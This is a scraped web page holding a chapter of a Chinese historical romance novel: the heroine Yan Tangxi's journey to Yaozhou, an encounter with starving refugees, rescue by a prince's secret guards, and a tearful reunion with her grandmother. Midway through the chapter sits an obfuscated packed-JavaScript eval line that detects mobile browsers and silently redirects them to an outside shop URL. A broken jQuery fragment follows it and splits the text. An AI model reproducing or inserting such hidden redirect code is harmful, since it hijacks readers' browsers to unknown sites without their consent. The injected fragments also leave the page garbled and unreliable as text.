日上三竿时,燕棠西还在床榻上酣睡,昨天夜里萧谦突然,跟他讲完已是月上中天。
燕棠西这个人有个毛病,就是睡不足觉就会一直睡,但她不是贪觉,只是身体使她如此,昨天萧谦的到来,打乱了她长久以往的习惯。
守在燕棠西身旁的素香,反复的在燕棠西额头上试探确认她有没有起热。
直至真的确认燕棠西没有起热后素香才放在心来。
等燕棠西醒来过后已经过了午膳的时间,素香见自家小姐醒来,就马上指使小厨房开炉起灶。
素香一边服侍着燕棠西,一边说道:“小姐,您可吓死我了,您好久不睡这般长时间,我还担心您又起热了。”
燕棠西手撑着腰,边走边扭动脖颈,睡的时间太长她身体有些酸累,轻微活动后,燕棠西头也不回的问着素香:“东西都收拾好了吗?”
待燕棠西从梳妆台坐下后,素香拿起梳子梳动燕棠西的头发,紧跟着说:“眼下都收拾的差不多了,只等小姐发令。”
等燕棠西食过午膳,一切都准备好后,燕棠西去到正院拜别燕谭山和徐氏,正式踏上了前往姚州的路途。
姚州距离幽都不算的近,去一次须得半月的时间,燕棠西盘算了下,快些的赶到姚州也得六七日,等到了姚州也已经是除夕当日。
快马加鞭的行了两日,燕棠西一行人渐渐出了城镇,周边的景色也变得荒凉起来。
枯树残枝,荒草萋萋,偶尔有几只寒鸦惊起,发出“嘎嘎”的叫声。
又行过一日后,随行的侍卫见有人烟后忙向燕棠西回禀。
“大小姐,前边有人家,是否要稍作休整。”
马车内的燕棠西挑开车帘,看向远处人烟处。
只见那片地方屋舍稀疏,屋顶上炊烟袅袅升起,在寒风中有些缥缈。
燕棠西微微皱眉,眼中犹豫,但很快便有了决断:“离那片村落远些再休整。”
马车缓缓驶离那片村落,可就在车队行驶中,突然不知从哪里冒出个小孩子挡在车队前方。
驾车的马夫反应极为迅速,双手猛地一拉缰绳,口中发出一声急促的“吁”,那马儿长嘶一声,前蹄高高扬起,随即重重踏下,马车剧烈晃动起来。
燕棠西在车内猝不及防,险些摔倒,她赶忙伸手稳住身形,随后一把扯开帘子,探出头来查看究竟是什么情况。
却只见一孩童衣衫褴褛,瘦骨嶙峋的挡在车队前方。
驾车的马夫见状,眉头紧皱,面露恼怒,对着那孩子大声呵斥道:“哪里来的小孩,休要挡路!”
他的声音粗犷,在这空旷地回荡,惊起了不远处枯树上的几只寒鸦,但那孩童却仿若未闻,只是紧绷着唇,一言不发,纹丝不动地盯着马车,眼神里没有丝毫退缩之意。
不对!
燕棠西心中涌起一股不安,她转头迅速朝周围看去,这一看,顿时让她倒吸一口凉气。
不知在什么时候,他们周围已经悄然围上了一群人。
这些人或站或蹲,形态各异,但无一例外都和那个孩子一样,瘦得皮包骨头,他们的眼神里透着饥饿、疲惫,还有一种令人胆寒的疯狂,就像一群饿狼,正虎视眈眈地盯着他们这群不速之客。
燕棠西心下一沉,就在她不知该如何处理时,人群中走出一个老者,他拄着拐杖,佝偻着腰,颤颤巍巍地对着马车说道:“贵人,我们实在没活路了,只求贵人能给点吃的。”
燕棠西看着这群人,神色晦暗不明,一旁守在车外的侍卫悄声询问:“小姐,怎么办。”
燕棠西一时难以抉择,给,若是这些人还有一丝良知,领了食物就会放她们走,可万一他们失去了理智,被饥饿冲昏了头脑,这些食物根本无法满足他们,反而会引发一场混乱,让局面变得更加危险。
若不给,他们或许能够安全离开,可他们要是一不做二不休的动起手,这件事只会更加棘手。
给或不给都会有一半的几率动手,但燕棠西不敢赌人性,况且是在饥饿状态下很久的人。
思及至此燕棠西反问:“如果动起手来,我们有几成胜算。”
侍卫打量了一下周围,心中盘算片刻后对燕棠西说道:“七成。”
太少了。
看样子老天爷是想让她试着相信一下人性啊。
只是还未等燕棠西开口让侍卫去拿干粮,就见围住他们的那群流民一步步朝着车队逼近,眼中的疯狂更甚,他们已经等不及了。
见此情形车队中的侍卫顿时警戒起来。
只是还未等两队交战,就见五六名身穿黑衣,行动敏捷的人如鬼魅般落在燕棠西车队周身。
他们身姿矫健,眼神凌厉,手中的刀剑在阳光下闪着寒光。
为首的一人蒙着面,只露出一双深邃的眼睛,他看向燕棠西微微点头示意,而后转身面对那群饥民。
“都退下!”他的声音威严,带着不容置疑的气势。
那些原本疯狂的饥民被这突如其来的一幕震慑住,不由自主地停下了脚步。
燕棠西眉头微皱,看着这群不知来历的人是何来意。
侍卫们握紧了手中的武器,严阵以待。
黑衣人中有人拿出几个大布袋,扔在饥民面前,布袋落地散开,里面竟是不少干粮,饥民们先是一愣,随后蜂拥而上,抢夺起食物来。
为首的黑衣人走向燕棠西的马车,拱手道:“燕小姐,此地不宜久留,你们快些离开。”
燕棠西目光审视:“阁下何人?为何要帮我们?”
黑衣人一顿,沉声说道:“燕小姐,我们是殿下的暗卫。殿下觉得您此行波折,特命我们暗中相护周全。”
燕棠西一愣随后反应过他说的那位殿下指的是谁:“他倒是有心了。”
黑衣人没有回应她的话,只是再次拱手:“燕小姐,时间紧迫,还是尽快赶路吧。”
燕棠西点点头,放下车帘,吩咐车夫继续赶路。
车队渐行渐远,只留下那群饥民还在争抢食物,而黑衣人则隐入暗处,继续守着燕棠西的车队。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099817|147689||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一路上虽偶有小插曲,但燕棠西一行人还算顺遂,最终在除夕当日到达姚州。
还未等燕棠西一行人进入州城,就看到了她外祖家的招牌。
姚州云家,大萧朝赫赫有名的商贾巨鳄,酒楼,纺织丝绸,陶瓷,甚至海外出口贸易皆有涉猎。
刚行至城门,就见有人向燕棠西的方向走来。
燕棠西掀开帘子,远远的看着来者。
那人相貌堂堂,身材高大健硕,待他凑近些后燕棠西才认出是谁。
是她的二表哥,云嘉誉。
多年未见,双方变化甚大,竟都有些不敢认了。
燕棠西率先朝着对方开口喊到:“二哥哥!”
那声音清脆悦耳,饱含久别重逢的喜悦,在空气中回荡。
云嘉誉听到这声呼喊,快走几步来到马车前:“燕妹妹,你可算是来了,祖母自听了你在信中说要来姚州便是日盼夜盼,盼着你来姚州,如今正在家中殷殷等着呢。”
燕棠西略带歉意的说道:“事发突然,我决定的仓促,来的也匆忙,让祖母为我多虑是我的不是。”
云嘉誉摆手,笑着道:“燕妹妹这是哪里的话,你能来祖母高兴还来不及呢,咱们快些回去,别让老人家等急了。”说着,他在前头领路,带着燕棠西往云家大宅驶去。
进了云家大宅,云家上下所有人都出来迎燕棠西。
为首的云家老太太在丫鬟的搀扶下站在门口不断的张望。
燕棠西一下马车,看到此情此景,眼眶瞬间一热,泪水在眼眶中打转。
她快步走到老太太跟前,屈膝行礼,声音带着一丝哽咽:“祖母,孙女来迟了,这一路波折让您久等,是孙女的不是。”
燕棠西穿越这么久,在云老太太身上体会到的亲情是实打实的,她也把云老太太当做她的真正的外祖母。
老太太听到这熟悉的声音,眼中瞬间闪起泪花,她急忙伸出手,紧紧拉住燕棠西的手,那双手虽已布满皱纹,却依旧有力。
她仔细端详着燕棠西的面容,眼中满是慈爱与疼惜:“我的乖孙儿,可算把你盼来了,让祖母好好看看。”
云老太太轻轻抚摸着燕棠西的脸庞:“我的乖孙儿,这一路可受苦了,瞧这小脸都瘦了些。”
燕棠西握住祖母的手,笑着说道:“孙女不苦,就是赶路急了些,如今见到祖母,一切都好了。”
周围的云家人看着这祖孙重逢的场景,也都不禁红了眼眶。
但主家的人都还记得燕棠西身子不好,便开始解劝止住两人泪水。
燕棠西舅母上前,轻拍着云老太太的后背,柔声道:“母亲,西丫头这一路劳顿的,您也念了许久可别伤了身子,咱们先让西丫头好好歇歇,待休整好了再续也不迟。”
“打今儿起就是开始过年了,这大过年的咱们一家人不得开开心心的吗。”
众人纷纷称是,云老太太也破涕为笑,松开拉住燕棠西的双手:“是我糊涂了,乖孙儿,你快去歇着,待休整好了,咱们娘儿俩再叙。”